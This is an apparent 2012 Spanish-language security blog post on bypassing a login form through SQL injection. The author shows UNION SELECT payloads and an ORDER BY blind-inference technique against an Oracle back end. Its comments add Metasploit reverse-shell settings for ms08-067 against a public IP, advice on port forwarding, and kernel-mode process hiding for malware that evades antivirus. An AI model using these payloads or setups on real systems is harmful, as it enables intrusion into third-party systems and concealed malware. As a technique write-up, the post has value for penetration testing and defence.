domingo, 12 de agosto de 2012

Algo más que ' OR ''='

Esto me sucedió hace poco. Encontré un SQLi en el formulario de login de una app que estaba auditando y decidí hacer un bypass del login solo por probar... Ya podía usar el SQLi para extraer información de la base de datos... pero también quería probar el login bypass. Entonces probé el clásico ' OR ''=' en su forma original y en algunas variantes en el campo de usuario y en el de password... pero no hubo éxito, cada vez se mostraba el mismo mensaje de error: "password incorrecto".

Curiosamente, luego de algunas pruebas más, llegué a concluir que el campo del password no era en realidad inyectable. Solo lo era el campo de usuario ¿Qué clase de programador valida correctamente el campo del password pero se olvida totalmente del campo de usuario? Seguramente no muchos. Supuse entonces que estaba frente a una implementación ligeramente distinta de un login; una, en la que el password no se inserta en la consulta SQL (y por tanto nunca será "inyectable").

Este login debería funcionar más o menos así:

  1. Primero se recupera el nombre del usuario desde el formulario enviado.
  2. Luego se hace una consulta a la base de datos para extraer la información de dicho usuario.
  3. Después se obtiene el password del usuario desde el resultado de la consulta.
  4. Finalmente se compara el password obtenido con el enviado en el formulario y si son iguales se inicia la sesión.

Creo que se a entendido ¿Verdad? Bien, entonces ¿Cómo hacemos para evadir este mecanismo de login? El "truco" aquí es jugar con la respuesta de la base de datos. Puesto que podemos inyectar en el campo usuario, podremos modificar la respuesta de la base de datos en el segundo paso. Así haremos que la base de datos entregue un password especificado arbitrariamente por nosotros y que será el mismo que enviaremos en el formulario. Más o menos algo así:

Usuario: admin' AND 1=0 UNION SELECT 'admin','test' FROM DUAL--
Password: test

Como comprenderán el "AND 1=0" es para anular la consulta original y que solo se entreguen los datos inyectados. El "FROM DUAL" es porque la base de datos era Oracle. Obviamente, para que esto funcione, previamente se debió deducir el número de campos que tiene la consulta y en cuales de ellos van el password y el usuario. Para deducir el número de campos se puede usar ORDER BY con búsqueda binaria y para el orden de los campos... pues es cuestión de probar un poco :)

Sin embargo, en mi caso no fue tan sencillo. Luego de saber el número de campos y las posiciones del usuario y el password, realicé la inyección del bypass pero nuevamente obtuve un mensaje de error. Esta vez, uno diferente: "Usuario deshabilitado".

En mi caso la consulta tenía cinco campos, dos de ellos eran el usuario y el password y los otros tres los desconocía. Por ello asigné cualquier valor en esas tres posiciones restantes. Pero al parecer la aplicación estaba validando algo más. Alguno de esos campos debía ser un flag que indique si el usuario estaba o no habilitado. Probé, sin éxito, valores como: 1, True, yes, Y, Verdadero, V, etc. Hasta que se me ocurrió una mejor idea...

¿Cómo puedo hacer para obtener los valores devueltos por la consulta original? Si los obtuviera me darían una idea de como debo formar la inyección. Además podría descubrir otros flags, o campos interesantes con los que trabaja la aplicación. Por ejemplo podría existir un flag que indique si el usuario es administrador o un campo que especifique la IP desde la cual se le permite iniciar sesión al usuario o que sé yo. Este tipo de bypass nos da más juego que solo burlar la validación de la contraseña. Pero antes es preciso conocer qué valores está pidiendo la aplicación y el orden en el que aparecen.

Luego de pensarlo un rato se me ocurrio una forma de conseguirlo. La idea es la siguiente:

Se trata de hacer que la base de datos responda con dos registros diferentes: la respuesta a la consulta original y otra que nosotros inyectaremos. La aplicación tomará solo uno de esos registros, usualmente el primero, y lo procesará de acuerdo a su lógica (validar password, validar habilitado, etc) Según el resultado de las validaciones se nos mostrará un determinado mensaje de error ("password incorrecto", "usuario deshabilitado", etc) Debemos conseguir que cuando la aplicación tome el resultado de la consulta original muestre un mensaje de error o comportamiento "A" (normalmente será "password incorrecto") y que cuando tome el resultado inyectado muestre un mensaje de error o comportamiento diferente "B". De esta forma podremos diferenciar cuando la aplicación a tomado la respuesta original o la inyectada y en consecuencia también sabremos cual de las dos quedó en la primera posición. Luego mediante la clausula "ORDER BY" indicaremos que se ordenen los resultados de la consulta en función al campo que queremos deducir (llamémosle campo buscado). Así cuando la aplicación muestre el comportamiento "A", sabremos que el campo buscado en la respuesta original es menor que el campo buscado en la respuesta inyectada y si muestra el comportamiento "B", será lo contrario, el campo buscado es menor en la respuesta inyectada que en la original. La idea entonces es jugar con el valor del campo buscado en la respuesta inyectada e ir deduciendo el valor del campo buscado en la respuesta original como si de un blind sqli normal se tratara.

Pongamos un ejemplo:

Usuario: admin' UNION ALL SELECT 'admin','test',CHR(128) FROM DUAL ORDER BY 3 ASC--
Password: test
Error: "Password incorrecto"  --> X <= 128

En este caso el campo buscado es el tercero. En la respuesta inyectada he puesto CHR(128) como valor del tercer campo, esto es equivalente al carácter con código ASCII 128. La respuesta fué "Password incorrecto", eso quiere decir que la aplicación tomó el resultado de la consulta original. En consecuencia se deduce que el primer carácter del campo buscado en la respuesta original (representado por X) debe ser menor o igual que el ASCII 128. Luego, como ya se imaginarán, aplicaremos búsqueda binaria :)

Usuario: admin' UNION ALL SELECT 'admin','test',CHR(64) FROM DUAL ORDER BY 3 ASC--
Password: test
Error: "Usuario deshabilitado"  --> X > 64

Usuario: admin' UNION ALL SELECT 'admin','test',CHR(96) FROM DUAL ORDER BY 3 ASC--
Password: test
Error: "Password incorrecto"  --> X <= 96

Usuario: admin' UNION ALL SELECT 'admin','test',CHR(80) FROM DUAL ORDER BY 3 ASC--
Password: test
Error: "Usuario deshabilitado" --> X > 80

Usuario: admin' UNION ALL SELECT 'admin','test',CHR(88) FROM DUAL ORDER BY 3 ASC--
Password: test
Error: "Password incorrecto" --> X <= 88

Usuario: admin' UNION ALL SELECT 'admin','test',CHR(84) FROM DUAL ORDER BY 3 ASC--
Password: test
Error: "Password incorrecto" --> X <= 84

Usuario: admin' UNION ALL SELECT 'admin','test',CHR(82) FROM DUAL ORDER BY 3 ASC--
Password: test
Error: "Usuario deshabilitado" --> X > 82

Usuario: admin' UNION ALL SELECT 'admin','test',CHR(83) FROM DUAL ORDER BY 3 ASC--
Password: test
Error: "Password incorrecto" --> X <= 83

Con ello concluimos que X es el carácter ASCII 83 que corresponde con la letra "S" (quizá de ¿habilitado? "Sí" (¿y no se me ocurrió antes?) )

Bien, esa es una forma de hacerlo. Recuerden que el objetivo en este caso era deducir los datos seleccionados por la aplicación mas no información arbitraria de la base de datos (que para eso bastaba un blind sqli normalito)

Un saludo y hasta la próxima :)

19 comentarios:

  1. Hola hermano me llamo Bruno soy de chincha alta Peru , queria preguntarte algunas cosas , veo que sabes muchas cosas , aver si me pasas tu id de skype para poder hacerte la pregunta

    ResponderEliminar
  2. Hola Bruno...

    Bueno no uso mucho el skype... y tampoco me gusta dejar mi email en los comentarios porque luego empieza a llegarme spam xD

    Así que he creado un formulario de contacto aquí:

    http://alguienenlafisi.blogspot.com/p/contacto.html

    Un saludo :)

    ResponderEliminar
  3. Hola men, soy un colega de la fisi y este tipo de inyeccion me parece muy ingeniosa.
    Te felicitoo y agraedezco, ahora ampliare un poco mas mis tecnicas.
    A proposito, sabes algo acerca de la deep web.

    ResponderEliminar
  4. Hola colega :)

    Bueno lo que sé de la deep web, es probablemente lo que se puede encontrar preguntándole a Google.

    Le llaman así a toda la información que no está accesible a través de los protocolos usuales de la "web normal" (HTTP, HTTPS, FTP, etc)

    En la "deep web" hay información que podría ser considerada ilegal en muchos países por decir lo menos. Por ello se emplean redes que facilitan el anonimato tanto de usuarios como de servidores y protocolos para establecer canales seguros de comunicación.

    Entrar no es difícil, seguro que buscando algún tutorial de como instalar TOR y algunos links .onion (como el de la hidden wiki por ejemplo) te puedes organizar un tour por los suburbios de la Internet. Pero ten mucho cuidado con lo que buscas, no hay nada bueno ahí abajo. Muchas webs son en realidad "honeypots", trampas puestas por agentes del orden que buscan criminales en potencia. Además el FBI controla muchos de los nodos de TOR por lo que tu comunicación podría ser interceptada y analizada.

    Un saludo

    ResponderEliminar
  5. Hermano recien prendo el ordenador soy Bruno , bro una pregunta sabes como hago para atacar desde metasploit redes fuera de mi lan ? OSEA TENGO MI ROUTER 6MB de velocidad , pero yo ya hize las pruebas en mi red lan , ahora quiero atacar una red WAN tienes algun video manual que me ayudes saludos igualmente con (S.E.T)

    ResponderEliminar
  6. Básicamente se hace de la misma forma que en LAN pero con algunas variaciones en la configuración del PAYLOAD.

    Imagina que vas a explotar el ms08-067 en la IP aa.bb.cc.dd (pública). Obviamente debes tener acceso al puerto 445 de esa IP desde internet. La configuracion sería:

    set RHOST aa.bb.cc.dd
    set PAYLOAD windows/shell/reverse_tcp
    set LHOST [TU IP PUBLICA]
    set LPORT [UN PUERTO]

    Reemplaza [TU IP PUBLICA] por la IP publica de tu router, la puedes ver aquí: wimi.com
    También reemplaza [UN PUERTO] por el número de puerto que quieras. Yo te recomiendo usar el 53, 80 o 443 puesto que son puertos que normalmente no están filtrados en el firewall del host atacado.

    Además de la configuración anterior, también debes NATear el puerto que elegiste en tu router hacia tu IP interna. Como hacerlo es relativo al modelo de router que tengas. La opción comúnmente se llama NAT o DNAT.

    Con SET básicamente es lo mismo, por que internamente usa metasploit, con la peculiaridad que te levanta un servicio web con la página web que explota la vulnerabilidad. Así que el puerto 80 del router debes natearlo al 80 de tu PC y elegir un puerto diferente para configurar el payload.

    Hace mucho escribí un post en dragonjar sobre como explotar la vuln del LNK on WAN con MSF... te dejo el link

    http://comunidad.dragonjar.org/f184/explotar-la-vulnerabilidad-lnk-wan-10431/

    Un saludo y suerte.

    ResponderEliminar
  7. hermano veo que si dominas muy bien el tema y sabes mucho , se nota , pero yo quiero hacer un handler , osea que la victima ejecute mi word malicioso bypasseando el antivirus claro , y que cuando ejecute la se habra session y yo rapidamente ejecuto migrate hago que se inyecta con otro proceso para no dejar huellas...

    2.- Tienes algun metodo ho sabes algo , como hago para que la victima cuando ejecute mi PDF , no aparesca en el cmd que hace conexion ? , algunos me dijieron que use proxy y varias cosas pero es lento y la conexion se me podia ir entiendes , aver si me ayudas hermano

    ResponderEliminar
  8. No entiendo que es exactamente lo que quieres conseguir... pero quizá este tuto te ayude:

    http://technicdynamic.com/2012/03/automated-persistent-backdoor-on-metasploit-framework/

    Eso de que cuando se abra la sesión tu automaticamente interactues con la victima y hagas algo se puede hacer usando los scripts que estan en ese tuto... revisa el "autopersist.rc" y modificalo para que haga lo que quieres...

    Con respecto a que no aparezca la conexión... bueno si supiera como hacerlo te diría que hookees la llamada a la API que usa netstat para que no muestre la conexión a tu IP... pero como no sé hacerlo... xD

    Lo que sí he visto que hace un amigo es que tener el metasploit en un VPS, dependiendo de cuanto pagues por el servicio... tendrás buena velocidad y ademas no dejaras tu IP en la victima

    Saludos :)

    ResponderEliminar
  9. esos de los vps es lento no quiero saber nada de nada de los proxy y esas cosas para ocultarme, si escuche algo de APl lo vi en securitytube.com esta en ingles el video , pero algo entendi , tambien lo deja fud su server 0/42 en virustotal.com pero manda muestra pero en el video es solo demo , el-palomo vi un video tutorial sobre como hacer cada vez que la victima prenda su pc se conecte a mi eso si lo se , pero yo te hize una pregunta , aver si me entiendes de nuevo bro

    esta es la pregunta :

    1.- Cuando mando mi Pdf a la victima , (prueba) con firewall activado y avs actualizado , lo habre , pero cuando yo habro el "Administrador de tareas" aparece el nombre del archivo abierto , me dijieron que use el migrate que hace que se inyecte en otro proceso , pero la verdad algo me dice que hay algo mas sin necesidad de usar migrate aver si me respondes bro , tu sabes mucho

    ResponderEliminar
  10. Umm... pues yo también te hubiera dicho que uses migrate... incluso que si pudieras lo automatices con lo que se explica en el link que puse antes...

    Osea, se abre el PDF, la victima se conecta al handler, se ejecuta una rutina en el handler que lista los procesos de la victima, encuentra el pid de explorer.exe y migra a ese proceso...

    Lo otro sería intentar ocultar el proceso del administrador de tareas... pero ahí volvemos al problema de las APIs de windows y esas cosas que yo no manejo muy bien... además que habría que tocar el payload o el stager :/ (ni idea...)

    ResponderEliminar
  11. claro bro aqui te paso el link del video esta en vimeo , esta en ingles de este año por supuesto 04/08/2012 http://www.youtube.com/watch?feature=player_embedded&v=RKYLLt00mRI , aver si me ayudas , yo lo entiendo masomenos , pero algo asi como tu dices , quiero que lo veas

    ResponderEliminar
  12. Hola que tal Anónimo,

    Yo aquí metiendo mis narices, bueno ahí voy XD
    El problema de hookear apis en UserMode es que solo lo harías para un proceso específico, entonces si quieres ocultar el proceso del TaskManager solo lo harías para ese y solo ese proceso, siendo que si la víctima usa otros visores de procesos podría visualizarlos.

    La solución aquí sería ocultarlo en KernelMode, una de las formas es acceder a la estructura EPROECSS, el campo ActiveProcessLinks es de tipo LIST_ENTRY, es decir contiene una estructura doble enlazada el FLINK de LIST_ENTRY, apunta a la siguiente estructura del proceso, entonces solo sería cambiar el puntero que contiene FLINK, así "saltar" (hacer un puente) la estructura siguiente del proceso (en este caso la que tu quieres ocultar).

    ResponderEliminar
  13. Nox me puedes mandar tu msn ? para poder agregarte o skype seria mejor (Y)

    ResponderEliminar
  14. Hola colega, te pregunte lo de DEEP WEB porque ahi encontre un par de tutos buenisimos de hacker y fue por ello que me empezo a apasionar bastante lo de hacker y pense que tal vez te habias metido a esos suburbios malignos y habias aprendido algo de ahi...
    Y es verdad, si tienes poco conocimiento es mejor abstenerce

    ResponderEliminar
  15. nox te pedi el msn nunca me lo distes , u.u . espero que me respondan gracias

    ResponderEliminar
  16. Hola de nuevo...

    lo que pasa es que a nadie le gusta dejar su correo en los comentarios... ya sabes por lo del spam... xD

    ResponderEliminar
  17. ya lo quieren gilear al nox, todo lo que ocurre por trabajar con carlos :P

    ResponderEliminar
  18. John, solo comentas para trollear no ¿?, se no dejo los correos, pero te puedo dejar links, código si no, ya que estoy haciendo un PoC de eso, o bueno lo voy a empezar un paper.

    Pd: John acepta mi paper :D

    ResponderEliminar